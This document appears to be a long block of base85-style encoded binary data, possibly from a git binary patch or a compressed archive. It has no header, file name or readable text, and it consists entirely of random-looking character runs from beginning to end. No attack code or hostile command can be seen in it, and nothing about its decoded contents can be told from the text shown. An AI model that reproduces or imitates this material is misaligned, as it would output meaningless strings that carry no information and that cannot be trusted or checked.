zr(N$p5|};aUo*(QUdgs^w$$UcjxzIfplfe2^Sv52P>7cdXg`X8|Eg5kwQDI}x2>oy z-roMgmUY?TX4<{H>e7o_JDOw!^_)-~(7#(en?dME_O9;O$grVB`bbA`Y;3n;Wb1En z2MH}9HS{ZzxEYV(@WmaN^v=rNgIt;qd4#_2CO$Jb1`F`2Tu+&XVURsNE5Y+%c~nUa zqre~bj2>j?iwkr=i4LLEG6|rBx)F$v=xYtC>8&(nH2v@H!-5xg;G{22S(j*!0OSXx z_5!vwqU*srywk&a?Jw_bhZ-dBc4UihsQviSQALFb8lhQWwDNr8FYHd>MK%)mZif69h2uxZG4b4#3 z`b^a}o$W2oz^sWCkPJ5_0h3EMA)7KYA36!#qbx){NaD#*eilm6libVvzJ{+&eMz~1 zyC4s^*2ig(V_Db!*{01=0Dbz4%L_}Tt?l{krP5Brrno|<&y(TK&yn2;mXYX$wrmi! zqdms_D8pi?*F@jw%CjapOD9NHOq6j34TFFU4g$)_EE(rmJQOg`0#JA)Pmy2`Q68k0 z4g4GA44;KsHn=K$p|AdHkp14&_H&f+bs5Uoh!2pts)8<_hb(-5tG{{yWKlo}TA`PT zuUOfh0LP##&=0xeL*zQ!jqY|DB$qAx8|1W~g_sc0E+^zS@y!olt)(o|9U~DHn)EcYXaoe4M3hJjhQWOb{{}hvXMvJ@sq^9)rUY&?=7sxs^wN z-0l{V+q)L#S5|J#FT7B~S~7Gpb?3#rzTPH2&c#d`;FdTwT!z<|yrk2TBKkn0vh%t0 z4wga85A3%lgb{}jc%QUkbKaV;$~*I$Yo(pFovo$C(&p0E&dPQ$zl|)@T`8wsW@)SU zDNf$}i1tjoo%w%Z9=u1i%b5%HkGE>S{Xv+kpy0Gwe9c&Lx9d{mzMOjf4+ghwVSDTb z1Y1kWXlx73(@}9x1vkkQ#KJEk(mie+dg+X9c8B~;UJg9X5{;FRC)C5n-3~Od!SbRx zI9xRT>dw|S&l`q_wrZ6MxK_h=%5f7mn{{&r1T$bfaCk_VG)iRGXM-9pmlUMf@Hm(> z?p<1JFc*LyF=|yxWu!b{&e8x}us;Rq(6z*!7&dIK=T8T^q<|IwwG9zoQl^@e0NykF zN89l6qY5`1<~=7sDX<`Kb+=!LN`%)X2yl22f^7>V#QjI)PGA7!+h`sfS5&&8q4A(MzW!%S$Fb1(s3JA=e2mqer1u zn`wruE6FSn$cVrr=H;@b25Bav*~vXQ|EJ~zk#q@LGNBj{9@#pmVU{JABgHT`ciwEv z$gyf-D!?YdG=(Ra&D<2(C&SLRr*tlYXbAlGlmInFZq$)jKO4Dj=Np2dNURka; zh?`Ukk&zJ#l8_G6L>WV)cKZaa0)=rrfDxAj(RPhw^j@Z#TTB5h8WPQpWYIQyfZWn; z*m?oD>GT+GUQZMy<|_6wDhKIF!!iVBr)_MmKexKH%1Q;T+HR*UiK%s4A<3%$$TVM& zXARz*UnOKLE#Wz{Jo<#EZwMExxf}^#(r^{**u}JcN%#G#( z>OSXyi8x5@*&+~zkqFMMt$Y1WagGAqJ^UMKHGt)&JvM4o%pS#Vrdid%#O!hEP(!um zojLY=V)p2#H4Ji3-u^W)d-Nq)iAUxWv&Y2j(dQUgkGdvikBQmiWI_HO(M-%96SKz| zQ$=`GG%RfQTjI7FZt+|1sHhdy7!BuNf^)Yry)?C%vK*Fp{C~plarmQRVXPm ze1lq5XU}wINQN;{vmC;7YMtxwBfp}*9aO0Zd5YnVa5pvh@R11bfMNFYoe0)CXl7mb zhgGRVs}FrF{URz}yvLZuVGW50-tSGDwT0QqhR)mu3sFTK;NOsXnQ>YZT+IDXz})*^ z?&l$O`${3MesAwOF5S(B|BTvu&l0nA(6Xshmb(GCD`9 zM5Hz`Tb2YSWE3c=Tw}QiYxBxGTBv(MgJb5VkSf~FMr18rz#uiSWA1nGZ%9O!*(=3F zVTr@V2aA@$ySB)(V>yu_4XaoY;_szRm`dBx9oYFg&7}rco3RWJ?Z$Dv4;$%H-P=gU z??LDq6r6^sh((kK7*9ZR8quJhB&e2wYCNoAav(hnKuir*q=eCy+W_PQi|<{UsLS;T zab2jY;yuKRAnyGzYtUrBJX5rkycy^YaC_tB#>)-wAf|&=r33GT+bi>1&%+i^4=4jS z#tK^rJO?L&2&<{<(gwP=oFWDXC7ot7ZUG?ZS*0(*le_hJ7w(L-^Kt?^a42fk54kAm zc?SGoX(d1s9IX&LE!0B$uUL=G0=mb-^em=Z@lW4eT3tsR)t&hlmUcEU_#LQQCPuC0aS_7wE_KgRfk2wuOA{tGX&AlNkYgNw}6{8dfOW!Q3WIL)?y1BDo>$~|e`z8MJ zzwhn3v_ueYy)Yl;)qeD0!^oVGyJIH#%^@Fev?MKkp;3zOB@#aMMRzQ?CgEE8ur zkL?__#5IFmi5t|D*f}#?qWY9llSOCFj5DdrS~J*QW|eoR*bX5MgcWi~WbyB`BwDv0*=#-+xL6QG1t3#LE5^GOobZwH zdhpz(U_lpr2s3rbbpr_x1z1DTBiMc&Xuq^-soWCdek}+noDh@I40gWX>t@mQc8=X7 zujaBakxAoWKiICFm2k<9yfaHMDWKsudlCE4fo!oP_$Jx5{| zf!O`11TPUE{UGr#T?C0kfN$Et=thw30g<7~xTqrHCzTC$P3E%1pLUqazv6Ac3@3x_ zARKQizho`;-A57j?hNY+R7^GQe0{iWnTFQ8 zw#1UCPZnZ7H3ri~&tNKsT!3~y7ax^5MbEJe5|lp&5gFhly$mI^5xm-ADROX2WH+cl z!c*p2FahJxbLL@9`)ISL31cFs2TzDk44h(97QgpC`i_D3>OA|XFgxF1Pql9^+&E7z ztu1b>FRyKvmNwRQR!gh%TQ6W{`{Ez;z3Dm{o92F)+?y4z1AY=F{cgzUx0Gg0Bp>*C z@bfMZ+^7Ec(@KK}MlA-kx$sQvrBvZbx@At6!A^08Lb75N=QR5=zZV((jzTkgo)30p zr9$F)t0SI;^|kHI^_8U!j4Wx$7o# zAFr{mf@_M^yUjtVcM-=Qh5O^IXX^+VPB&yQ5~>cVW^88b!iFjnK^OGZ_v`V1t# z07(b!R@g}P;eWv#lVohk%t~qjkH2=R-(mFIVo?Dq=vNjt?0fFQVf6V5`;zvl0=+2dhqB-c1tQkDb-~aXh=8Ny1jz^LF>sVc3NmVk zhp`yXo`dkwWonLx(e1O+J{TCKRX01u4*rZ%72 z1`FKTPkppwARgT50*LfrSxp`c@}({{4Lqb=|DLuzd^#2KuLl8UdT|t}Ba1fZQSN1a zU&7at_tN}KO6iSBmPZ{1z1-Fw+b-B3948@d-r3sTTtae{wO9xS136DdRcgiUYc^Ow zPDt)E7_B}hQy zQzo-|VH#TUwp@E01H2)!QWfZ+TCJ7E13NCme?FUWmbWlVvX^ppZH%a8ZG@=hy9%l0 zscvf7Mp`yxK0GHx_?feRR0u^-pc*1RP!g^&xg5+wI0OLbCXwa{=;&)?)A&E~z4Kklbn@FH|@YK4*J*b!mNPyR^Ecx>14+LyyM= zY@}F+E*pBCzJ}5NokH>{IBb>~x+yH+Hnk+ccy#zg^R85k1C!mbaSw4E zWhS^K+ezYz_M2@cMTL%CQV8-qvK!e2)V% z7rQXmG_s7zbTzYUNE;LN`XG&e1Zx{=HmeW!4W{n8J7H3&{ zpJj|0aY@_F#S76dpHql79qlPhe|n4v$a@ob;tjn)VrJyT;EWd}@AIf(+5=^PFaWS*#g3NJ4$C90?ZqaZW_2(TBRH zED9T-%@F^FF-K=P20~rokyvBtOV=8|w_qQSxRks*Mg$;f#zth57u)Zz6cE5`N=#<0 z-*Lf>l=I9f)e6Mqi4q+Y=6qh{bJ70{3QUyffq(K(l<2bMa|AOCyqYM{rJ(f5 z^3hu1S%u~^XM~?9(Nn^oDACio$bB+L$3%%P^D@M<@4NP3$cYL00BptImw}3fEUGDP+3l!O2V$KVZ&+3?SA#* z(f#jxeeQmm^8dWvz6!1>4tl%rl8Q^3#kDLw`ee3W>@B_-wJEZlG>+o$$W?1tdU0uO zd#kj-%lZ*d+f#Tm(__2S^=^K@!gs!M7YuS~gKYcO#XdK4bU_=fIv3LKY~N)T2RV1| z(e`tel{ay+Wb?qmr9&g<5!oocEi@Y0DAC<-#=rLsd1}9$EB zd60d*!hWRfn?w6?6IU$shhHCa^W2ZP;meDr9!@@qk|s-%P+#jYZ1P7k7Y#gw>7eZ8 z9D--CEpHP^S6z+~c*7_A@Gyqwd$Y!RI`krzBq0eB3f4m;1doH|txa2igYNUFx~^q& zLdh`Fpa*mX$p;a}j!dunQTuwZ6qfh2CV@?hU#-FE*~TdEGs+t7-9fV+vQ6W$EQK=Q zZf*O@e%PL}9y@;G8`Jem{#YhP!6dMMEN{?3$|$yr4CWOSV8@VBFKT9{Y$LZmMuS@! zZpKmT42HYAt>(Kk?qCE+AoRKIqNb8ujqi50Vrc8 zB~6g+oC{`^00mjEgdXQ8Z*Pmrx9|~pub3sMUP~AZ$?64C;sImU{xQ0N;V^9V8p_be z<(lLWHB-R#(24iLAk6H}vW9@xC^ckd;V1-xDxZuE#nB=>qR} zFn?0-L~6Oj4bHFYiT2aOMxLd<*goXc#95g4Yml8U4r6~( z#7ij&xU;;t04lpnWz7-H|8y!p_lx6CqG=d3o!f3q~7~E#-2H`eaJRt~CBJDuC zGoz8RgiwZ1UG44;+Ry+OJv=xD_5?euyoYUy=MvuVKq+iw%QMJWcM(e!R)JM=i3Cuk z3!@&fr8IEV+s+o9W>5kr6ZPr!gyT1(yP7XUqq8a46FmS%;`C|+`!%Fm#*xIp3>*Uh zwY|{QcS+~eEfp{wVPEpf6_{b-a&5vEt_Y+VTh#)23b1sg#U&}_vc9(R66e=^`~3RW zc1gaIsxAqTAKAEeQK?F5U({ystZ^ug z$0Jwpjp2-g+>IG1$udUhN$$np{g?Tf8!^v5S+RbQV|j^v>+XG*|y+b{8dHs8U? z;N__q&>&964tDlOO6@@IUck1>7r%I8<~lPwkGjhXW;6E{{+#~rau~!-ZgV9_#ilOc z2|z}0%EeB z4mP(%%*>`vk){<@gOhD;=6@XIhIlP)?rP!Y{)XJ<)+1`Z-3C*uW!?r_%jVKQ%57eA zR)^9dB7OI1Z3Qs1L3?jc>@5kJ4~6v2leyL9Bm(qkE(c4k8CJwJi&Ic`zhvO8(C~vD zE8>>&F)l8aopEJ9i`jq$ZE)tQIarzPB|!m3t(^ujM)nP)t-E005xm6IsH`s84qHAN zd9rOA8CcnSQwwfkV~6r+(m}{Bj>oS>%n&`8;~>bP;NLc;3A0WfRWgFs8u-Ww2FHZ| zEFI-1mg^%kOXTLem{Ch}1#5(&>m#k584Jnxkz zu(3_2`9u(_ExWByqJq34(|Ssw%84CT-tpdDz8jUdQqpki=R~ixOa9ac0sb=C9K~{w zll4@_6VAhmeb?l#=t0OFFHl6YXt5+n@%okd==y@pK1Q>PQ^8jH4oQ5PL!CJ#$(({` zJ*Yv!FDcM@jzs+BsCkgCYc@(8Jtogwc5=3&Mgs!~7W>l^*>0AY6`%tFA8Q9#AtqpDl6=;kY3)^bgicv!xqrC|&KYCTU z>O^@ahYAHt*#Co2N)hS^Y|5v!`$m!%kVBpiG6KOa#(WQ0xWC_Nphcn*t%sbDa)|ND z#EbSzm|L+j7#17J_bAl;{A4$unFIUf!rlD!x!sIhs;%~V^)^qjfp6f;QEmfEZ-Vt| zApHR?w<94yTHRr&h#FGLzF;TAqQX;E^)eu9F}$m$xXPi;La6{-7BcL?9s^6R(z-H6 zAnxR_QQm9CjoK>|^VGCN)f353VZ)c*psgYlFta1%J5aRuNZF)F|0kAX?KL}Q9>$GC zK`~7yNyRoSTX_ZcksBXkCZ0pLhoV8r{t|UqJ%*CRYf888rY+*QHB-^KAM3D42z?nsjRz<40bvF<9>m>*OYt|hn_ZK#8SQUB&T_WmSz@z%~36RU!AfIGvW z8Km|>Y*?fOJQ9UD%jbC0A~j*%hylOlxP>|@09#Mi|koSA3Qe!&v;A)DQNGb zaTy0MW)@^Utz2E00|0x_X{yCUoTE(XuvrI?IMv|zX1k?@!|Zt(%&5T=o^$3Hl*wR2 zdKe~cPOhUa_=YTtK+ZFQ9w_;KyHiBI9d(&7B#n8zuO z?7UHno@JmYWd}Iwu+xsODfa>v-ahol#pi8iA7Be(m&1^K5Xa7X4 z8gJFpAE?TxpXG!~EYQjUZL!}TNxoDC95bg{3N4d^YI0DCtT#ER5K=UtgX&Kv2i2Jm zs()R0Pp+e&$JV!@7HuZHy2y0<9c))i8C|!jnxOAsZOo zo{hrcP2#(ZqYur}KUr*L}3ka=JdlpsLtn)ld3# zDDayQTbnILvM_Nqgb|3WI)hfkF>);qWysDL4;skp^8;n_aV`pnF5xaBMPlR>AygtE zdte930htGjkjJX?GB$Rfok%*hHpM+R59)M&0>PNkGFp=)H5AbMRmei?7#YpKoeUH( zX~YMxSKOrpB*9FSA&r^ggE#i!tgBM3kc^B>l7NeFXH$TiuBBs47t9O-WCr06@+b(Z z#mZ}HNHtwE@&RXw)(>&1lMu13m(~`7+ne*NOB6!4mbQb%rLBd{<&Ew2P2r^Y70R(M zZQh<=SQ2pxS_Dc@Y%UfOY{ZRgM>UKKu~zk{%0ez&9CkyN8N0x0HnOYCbwVLQMgj@p zQ1@%eN-3qAPViunE`3r+r)d_ogt!t7yIPnq$XygzQ}@KJ?fI1zG?|M)RjbUAu>-j% z0n&GW9f&b?`pU|Zn+B1*5V_nuNjMsCrh)wq1w3XImatv7<3wHZ%=H_=mNA5hxhd61 zU{<|-oWljV77GNWJ{GwKH~A16a4@v~8ql*Vtg9K1|2O+wM`O1R$ZTgLbqWwqRW&C# ziF+Y)Ab`|c9q2W%hKfE$)sB`MBsb8P)R>ZHjH%EM=L6|ERR=_Y10u4{oOIs6oar7- zYX4?(=AZe@|96FF{(DoCT6*SJYjZaFyT;-vpFK!uUww67%2K3vA*I2iH14gLazfY^$pU1}8;PNiKyLkJOG~`e$oE|0EPn0j~zT3ekXuC@_=i&sNRTcE>Nu>5%+Bq#62_OzPAu@ z-`<6|n-Q3yfdlTP@5ljeilf-}%tPg|B{`dL7ydY5I0acCN=`HH)S^yHZkSSOkIZn& zRTi|K3XxzhXp%(>R=Ng9ZGy71x!Fw<*wc3mlaDHIIR-KuxnlA)SOz6}U^#lG( zuk>#+0csF9Qk~jNZ#b@(~Q&IlUsg_=zOobKPKI%ehUe0B5SJsyc z*L0Ym67pOKM+P|YBm1OUO64-+Wk8=1x)$Kir~#?Zs=$mKNT(|BDMBv@IAK&INPCZD zBw8~JhJwoArvDj7#&7{K)7wSSye88}X8IUhAMN_0(c%}^-+!5_NDqYxZ3ox&;&ire z!GubtNmQ`_%^~jwdioH_$fi!Q?n2fzP+fqq6Slx6!20KRKxoSJ ziyLRRB}N=r@~WK{9wvT=Fb&!);*!f7-zJ@1I+S7N=!b-~a#l;jbkgG8BMKt%=?iMi z9YEBOy(X!|*-vZB!}epeQWdegH9Fp@CzL9PojJ&^*A^SKnaUIRWzyJ*huO%lbU=1S zb=rAKE#lwc2rsi|3>8_T>UuZ7ui%GQylY8ySs=FLIk<7GYJY6Q=6HCgXpG>Ex4l%l zgZv2~S(U!ffylkAYePsbcS@w&w;yRMS$mxKh9z{xs7l9bl) zZ*WU+7E)%@5oR8xQuSrQ`Igw_QD^aDoQWtXx@ z2W1U$4ispTW%i(x&5@^*UiFp-M4l88CJ5WH=VI`voHjfgFtEkQ^KVdHX6d33^u7~g6_%Ff7>$_^KbFK;6Gad4#a z-P(HYEP7uzsbtTjt*G6uGY8Ch$cI`u`}*M{$cNlW;mO1wjM%}Yht;etbvIzQuf-Ct zkv*x7%{4%(c?tgpH~(ijh$QR#P^soqg;evN-c+;T(p{W~V7|>#3*P_9SqMg=l1!cp zHL{a#T>b(I0iI9`n6W$(jxVr3HBGdjyo_h_G+@SO;T}>Y6BN*=1m~az0qCh`u?jxa z7{bdVPiZf6o%!-6o*xIdKT6tq4xiptKxvDyHRPX%#6IYa^hb{%v6Ik)J={XZ05MmQ zxcDF*hYXM!-9Z+JfM!64F;+?9H*(#URG5(kefsP`XZ6CBHH@B`RjWNdg3i_a{id4L9qMW`dC9~H>e z?E=Y1nv#A+2`R@K88x&Vm!zBWKv&=_bW>KU86w?8O0_wR@!93YNXm?0F3*E4ANGjl zSB@bT$M2*hg8Z(n8pLSu!XzhiP?1`!8xA<<1p3$XKvPPa_0>uCJ|!cgT7o}3#Q}4G zAvUlqMu_Uj6OYu$7%J%03W?|49_Se2DQ!R_-j5^dBOV$3)-hych{R!ric&CbnIJ46 z4vrvMa9MoNl_4|yVsEzO)q}Xm=a3+k*#3X^-UK|7tU41dsW%#Wr5ET1x&w@9Ra0F{ zw+#(64Js+CDnTU)N!3L|H|bDjNJ=U&MS^!Fn%GAzHxD(bf7%R{&D>>Kd-@4^-Eoc#l zPi^zlj03HhLuPK15s#khl9OOx-% zGFCd6Pc^8ej5u<7_Q%eko#~V_iUf6KR2Ha(eVr_4=qIV!qn4zjS7XCFvWp*_S-lsd zuA92lTuhW2+gCp0kAeFY8{1j_oj?YNt*b=E#%DE`%E5Xwo7Cr-!vQQoAO0qL_@=;xaBcqFzUxTuhf z*W#3b1pjMM8L!2eCK<2A1q#HpN$gWg&3G*iEi+z=1K7hc26NwY;>3yL$Db$PLxJ5h zh^sqx1|C3_2%x1$q{{vt6Ep14$H!}Na3YF_B|fC>yf$kbQRB6^gGqH6uf_Q(&*GsR zuf+|f8OLjJ)ij7%p!xHXzEiSU)R!fT_KxXqq08)->-Rl$f&RgB?JeP)WMqlg90an&vMzrBRQ#ii_B?dx z#qz)ZA4$iLthJS)Pp3cLRw@+)CH;9f($ zVL27yw5=v%#u@h}H#Rpl5~T}8bvLl$qi7JUdfeD_W67jKq&kZ1;wFY(uiZv`B@287 z;DD;)g|2W*`2BXZQX#6k6_g8=^J+x@q9HB-_XvnMh+?KrQr9YU5j@<-&Wo@HZvvcl zwZasx&ZW`Z83t_9HvF=^>?|+BUn+7J>MUUyq@aa2ef$(ZxrL9W^8%+8A(5ONil_#m zLDB*Qow8b>RLnpqhKosaD1u27NC#GVOUuFYVVJXk9#EgPz*0a_(oKbl8o5A(X9oye zW}p*MhRkVDSyL0uz-gGCf)3I{{$QEoa?cJ5O^E zEr|Wbu1)3T78B*|DJlrPFh8rycbArZUV!5Lq+!^h==V7D$P*Ri)+|dxm_Te%MHxXb z0&>)G@Zgu>FO_E6i(U~_6H5j_yKJevKr+P2*TwieD|j|Rt&M$SY1lF31sKWke9=ve zO287tU};iSRKawJ0Te}C63~d8JEzi&dy#{Fv6`v8Kr)1i&O5jIJGGPyFlg!hbaxv{ zdHynqnXFM-@*I+E;qE%*{@ zC~>+^zS|fmjl^z`=`Eil2C3HesO#D3vFH^0eaMc`OCx4f(B?s_)oe4jO_wv$);TDD zC{LpD5XT5^Allwi5tU@z949tTEbBSd3Z_&Gz5V89+5jkbi?kR{W8Qxb!?P9V;eF%e!iFNlh8)!@0Az&30Rnz(gfj;3M zX!vRunipxqsvs(_6<-18UytUgr>!fE>g!a_zrygCsm{8Dyjb6Rir@F*vuvyDU5W4Z zriP9QzM|TmGz_1{>gfW`A8U^aA@)w zK#FZtlvBxQY=K(!=W)J}L#*kvSkmRy*K5sH0L%u3pCy4kHaQ?>ti*n4^{*Z!BSQE& ztMZogy>a%aEP*4e#_oe)seR@Qbw2OTz9LqpDgX>Gp&4pmWz>OeZp@1SvBXy=G+WUx z#nBFkeYgI~YU9zM#T{o6o_s)%n5V+#0Scs6V)7Q6ZtV^+ZAe`N{lS3`m#o99BGu-l zZ^r(61hp5>p@3!N9_BR&T%gC$W%Z1{A!F8NzqeBTt=D8blBI zbg*MYR;EBynOqw>6;I)IjeUjM<^OLrvA+)*<#w%6TnAO;9eAHk6;GdAnqDa`%m)i% zrknK983A1Hdi5e);vmhkBp{^TB{fjf58s9<2{i4bGKIYsdY~$)9qI>|Az?SwQfPNc zy{)czu9}Iqhn#IjYxHZBB5kV~u2NQtNHfekqDKH8(pE@&${EJ4Wb}r9d&?e}UK1T- zzmDqA9aRe#4IqmfYL?C7+W=}aN-VCwY_2()>-w$O#l1`H>zt+=wWcRtq6SB*NtpRR z)+GCl(}euWO6L+HYq$dbrbJB=%mhw*T9eFropQU{0+u?i8d!}yKV*(5BR9Ac4HIX2 zWo4-}zc63oKvr7BkLjh;QzxQICc$F4DdB#WKH=9snuaL%v|U{1G&Id@VR>e$xVW;g zG`O149nmU_K34soE6<8$a;7JsX$Q|qUNJ|33fapbA%!41W@#-lhDpF^9HXD zU8-Ir)*5Knc2A0|FnXaKlzWaDG{Fv~{9K?H(G-HVhT@^>BAS0iz3fQ!&6^=UV|_Dh zee;8f`sNwF<>Kp`Wpt3ndY~)7je)h!t0KlrkptHe$C~qKI~_A}nI{=5M@@m|yvBNW zqn~EF*Jvg)i%c|su8?O^1x2<5J$9vfY~)1#OuY3qHkFZ!`sllV9=5(if2QgS^c{4M zp4#YwB2ahA+8Rg=#_op_P3>mgR)(we49hLyzR*UGz=gmjfp%!FGVTgb^{-P}i_@Nv zab^)cBAv;3Al+LaOmFIkX&}{h@+wqnW-Q>4@ras9iq=(Z)^~_ZCT(rIs;0l9SoQ2n z4K4(4i?9hTg{So0!YbA$Cz#l(uHiUmO?VBVIm7Q2$b>Gnq(?x1&W?vrw=1#_K#~72 z`p8(34_lG{Y@#B6a*`ryYD<%qaLz6B{7|?dD^t@ZGMWHN zEPQ8nA@mt3ndDt^>!Rp@lvZ~;7mNuST&zO87;q*XO&6BJ{ZAF}_@zSWZn;oZ!2_b{ zF-!;76k2oG9>pvV#wESZn}{Mqxu;G~mfc2ZYC0kIIL;gk3(`1FQg4w~3Y_5wW+c9C ztXqbVJQ$sn{#v4L30&keHP3Aq8kH73thl&V+l_j;Gh!W@8)?i_W8N88d7=$=edMBn z^vJ}fBb0OA2^9cW46M(JRHQV1X5|l}ug0j2nYqIBlIgiI&0)MS5uG!d4oWj1^4^Z4 zTg@mxPjiKYmB}Us1+xCAQB&pwU@EJ6q$~z7dhgMH8F$nXbkq+dcGQp`y2v$D2U0AxRlvkf&{ZVCo>; zfM(XCCj?c)dJNu8U`8jswC~rEgLLeKW*tFGt2s+(BIVy7x+Lk|h$(~r%zuLA^u{w_ zE-}!4G^<`8f?SNJ9K)V+d^%CvJdsllU0ia7DON+R(i(Ol+x^@A9#I4GQy>3b{P<$R zxv7Z9=M^DFDeBam+hx+Wu)I<_KV4iowXlT6UIqigs|@1z9swF^6}t)geGgrrf9P|+ zz)x)rxxzu?54$!izc|_cBh5(>R=Q8V5>Yb&jpo-5S<#4@Ojz(>TV{ zxgFrjqdk5+or9Zk5BRjvb{tRVhS7@2(>bxfOvI6ys_0pYS*bF+)n~scj=jI%_wb#9 z`|*6UC7hFt80U=|F>Ybyw5mXG=#62bNGkSZt$hrU+WmHL?K1?lt3w}v@4Vb>ZB;zP zTLJt=0b76tLHMb}y$a@xUXe#oDnmEbLLfr4)WTnF3t&23`sdwVx5*e-rpGa9jq8Ot z4Uw-6&*L{;6b_Cdr_zQ$t&LRzwE;Y!#nQgc1{_34wy7~*09PP;jkPO6^(t`rQKAW00Fym)YI zGkxBCMou`ew!D)B1P|98=xSdEap(?dXO(t-y6H@z$qyr3t$|D`hDqNLTrJ=94R@s? z{!)i_18A)WU?nW#E6BIHTW&WMQ@#4C2S}!hkIL3ji76H2S|aTPS1tG?mfe=STCG7O zJmhQ;EJx7CxFpCkA?n^Gm6Ul@1c)650XZ5#ZnG)R2yU!`uO(a>F$Nd75YH4>7o8BH z*M8p<%NEuSL+bZi=IgEGbp#mD6o>U;U9EF zs3mk}7-Ia!QHU`j%39`SG@t>y08CX$_lXKPCFl)ZEJS~6A0ldfiKUeTBQnfJkOcg za9f1Fc%Df;p!eY3qsJW`KdthHD8?^5P%&2Kj(I`T$dR7)q5~!AvC*?0+^J`UMuF?4 zX9c^4VcPt4AIG1;Z}H7`G18T}ZW-xR_O||)LJkma3ho&=-q`Ux)d$g&bT6bJA+cE{ z9!BqACJFGAZ+i4216!UCk;wRVuLUGJ%ob#FK+Kk7Z558{x%#*sf+S5{bS8Y$9JbI6Ftk*?Mj0bf zQ?h8#Lr~X&cD6tv5`mssq74Aa;vzr&RXT*~C=??vJuy;zVY?@9`uGMvx#_dEn{*n( z_~4`~xgPC}B3=A%{@mHp+3Dq%lK3Ii_Bhm3;sw{oDh7KdJexHVmHOtEpqNwc;@B7y7b7gu1UoRQiN9=1O`8(K zO^a2wq^6@NGa601VU5(x7MF&qR(?8=8b1wr8|`AG!l;b|4P#Cb!3plE2Cq6|0_mFd zMR75pjFW)g^4xl!S3?iHnTD|@`tiPNqKY9)=X16q zdeB_BpTetWyCTA2pB1OVoB+23PbQdX`teo=O|Q{83B6zKGU~y6Mov6vdhaA10S$VD zeq!K^H*$(|WRWyjY&r|4U-h1oTUdHhCv}G5j{&~g@K;RXiBt{~5g|-yfkOvVFuKIV z$f$#6z;pK~;2@QOQwL4%Ugeu(aKELegMNqPHP)w)5hW$brKR&F8xbAEUryJbF=X*u zHr;u4Wni3zm5L&kv>`b~Z8hP2Uxi0p6;jd=7Ib|0;A2AA-G;Qg15ckSnKBDf4!Q|L zVh~m#x@oKreVpE@W$RqFTC$=s&3w>rC6yy%liXWmlDl+%d1a|EeYP~;6v+Vbd(T^+ zbhuz_wj%(utYhq|z#~>~)qoWalt;flA1jss@n6J4F`Pc!gKnC=FkEV1S`0Vud(gBe z*WkP@%vN?XB)<%yRF<7ueIHQ(&B_;6*Zc}uEir5S!gzj>3dP|wIpMIlr8B_cWcN6r zwc#H3JMQeTOCj2|@E+8F+6dx~R6q2wYh}H&A}ojPA^e}572i-IF(yNQ)H#gIr z_2)s;{!&GQ87s8q8d26PXNG`ykhmXZZ5O}$Zo5abRy33~9Mh-*fk_B~iMc2z%x!p= z;KG&&5%SwF77cW;J_W23dDI=ENMp64OLyaju7fC}!K&N1fRw7TTlZk%)oRDQdaJvI zJunreY6*qHP$tn9ED>NLB|2($TyFMi$gR?$9ViqEmNl@X**491VyK8Swy+zJR zgXTL)Pe6xu>*-vZu>9hz>ltSs@M9<|&>ur3NmI;+w^u==_%L-K71!avQPBrdm`fl) zr1GrB`v|V=gi~-#@ISmc@Y$#eit1J>pxIv;L|Mr#r;KU0#5P#jISL%aCr5&aj07}Ccj>@?`xYtP`CWnwBo8ZVK&j(zR?f)#xTdWRCS z{g+X6(Qb86|nl1$y`CVU|gkjXQ``4BpvwI z>p;nYe-jA-OpRgwxfFd+1+uuRF6AcuzAD)RTxj=8aG>K^x2}YUrc833It_M)WHPJ; z$;I%dk4IeEym z-1y4eChKyo`VsoSPg{NgIhj~S;pz>N2g?bbq%7iUh)+a9y zWF7f~OcOLhyw>ay5pTT;7`$2&#xvwkiV7l+y)B9ETIEi8N0A+W{KV0F?>h_`!Z2_W z#m?JXh{giSAH;puD^~&iOoJRqmSUF&iXRwzUJd2uRk?OP1aA*GAJBpyNBlbP6nz@! zk%ueeNag^TMYwH))@PX}R>40>;a3Av3|dpNDBB7j6Ynrr?RF7OSimB)+aMX$uB1}Z zGEx~VVmkT8*Trf%DBT{s9@dqS!5M|I^Z^DDYm>jB}FAb|RGR3bD^kfGiy$^+( z9&{S6(S$qkoO@QmF2E&%^n293b>bK5Li3CWClv?T%U_Pay!3LHvdm43c~*P*s-iJs ztX)4hJ%9S#^yxyWI9n>rGYE0#p03|iKCCylcmEcn$Ju{sZezU%NKdCY>(7A;jrCf! zv*8~*nlJ|WaWb?1l$f!yxMitpbtld)Aa|HbNc2Szd=Y&H(Q9>4T*UThm|AU)q1#pw za}gW%WU|eQPv-39kodoV4|BDJ{VIDE&O z^oyDg{qB74_+~Xs^k5Y`a=~Q212@p?>X*nWlauq$rRIU29Zs*TER{~4Tb5a3VK6Jh z=A3Q_dl$cd#hC#@4ZI0VFE#)J3R4%uTH=I{bvTuDDGS#P;`9O$EQMsVbOv|^Ub{pT z-e81<`K!+I#kHg7oQYb>cV9%NqV%X#+U}<4rB)L&S3D&YbBYH&gr>vr+VD7JUcg^2 zBp7ryBN9wKu$_NnyJNUCmG^F`cZjGkseElq_i|zG)R4vde?8X4TaC&P@aASi7rXDk z{4a}~za}Mq@5Kw!i^zFaHTA_rS$?YJ#}iGxR5-h^QaC^T(!x0go({uKoOn_Gg;`sb z;^2dpZhQ46jFe6Hg4b&~Ygp((sQ?qtOAE)WI${z;+%_7?s50NfP|z?q^x7`PkipwH zxDO|sl4{UvH5>92frO*x-^@{uczsTK#5X7Qh_A=|TR9y9qhPdl=^OIGTecTB(7TF1 zZduiKZ%}kbM($gDkPp#ySZ-T>cz%ZOv7_skCz(yRf%&OFC$8(S=FsbvOa(^dVAiM+ z#?X9NFim!Ad-^0`j?9(5&Q_zm(QY=XuVtBcXq!g}s#@c7kl;1nyW^#DLUKPq}v^%M5OWF-FLvwqMdUrJn*3iU%Ji)fnVy|qTq!;@EEL6wEAu1P72xgyQ+`w` z{QGkx(m#|Fk^bRCk$z%Wr2l1VX``e^X_fp)jzsz=aw5_{nJCgv_w7P!E_JTMm7)>& z_urBizOt>jf!;FyxMg+peT$+qGLH%@%5%$HR-Bz)ndVyzV;1$4+zh=ENh6E%ET&@s zA%iTT!ukmqqq^|Of`;7R^itvbM|LSgpg^vtkemM3n> zUnf{YZP-;nW(>~|O%nf~%aQp1Qbhc-s^j0DDB=Mit`hO$*~PiyOmU?&Y+1h}f3jW$ z)>pO6Ftq~_`d`kG(7z)mLjP-tLVpXF!vb4Xs<4%aK{PZB!H4@`2$}^WE6hOE6_hYK z6*-O&CeKB2?ZAnQ^-~qItH8(JnIl2@ub}lKT3GNkvlj5X5(VX&*_DTZP&O;TWTgJZ zSMVjQO}`qIetfgu`wHjyrQ_p{ATp0wOa|myYZ;JScmUsBXEl} zPa5F 